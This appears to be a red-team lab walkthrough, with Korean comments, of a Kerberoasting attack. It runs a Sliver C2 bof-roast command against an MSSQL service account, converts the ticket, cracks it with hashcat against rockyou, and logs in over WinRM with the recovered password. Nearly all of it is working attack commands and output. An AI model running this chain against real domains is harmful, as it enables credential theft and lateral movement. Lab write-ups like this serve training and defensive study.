Last updated
// BOF-Roast를 이용해 SF_MSSQL_SVC의 서비스티켓 받아오기
sliver (TOUGH_BREADCRUMB) > bof-roast SFMSSQLSVC/sql01.us.rt.local:1433
[*] Got output:
[+] Target SPN: SFMSSQLSVC/sql01.us.rt.local:1433
[+] Got Ticket! Convert it with apreq2hashcat.pyYIIHJgYJKoZIhvcSAQICAQBuggcVMIIHEaADAgEFoQMCAQ6iBwMFACAAAACjggUyYYIFLjCCBSqgAwIBBaENGwtVUy5SVC5MT0
NBTKIvMC2gAwIBAqEmM < . . . 생략 . . . >
// 크래킹 가능한 포멧으로 전환
vim kerberoast.aprep
cat kerberoast.aprep | tr -d '\n' > kerberoast.aprep2
python3 apreq2hashcat.py kerberoast.aprep2 | tee kerberoast.hash
// Hashcat을 사용해 해시 크래킹
└─# hashcat -a 0 -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
< . . . 생략 . . . >
cb0af055bc10b819b35800ec0018ab193fa8657261422a3e35d57d0d:sql123
Session..........: hashcat
Status...........: Crackedsliver (TOUGH_BREADCRUMB) > winrm -- -i sql01.us.rt.local -u us.rt.local\\sf_mssql_svc -p 'sql123' -c whoami
[+] Arguments processed
hostname: sql01.us.rt.local
command: whoami
username: us.rt.local\sf_mssql_svc
password: sql123
us\sf_mssql_svc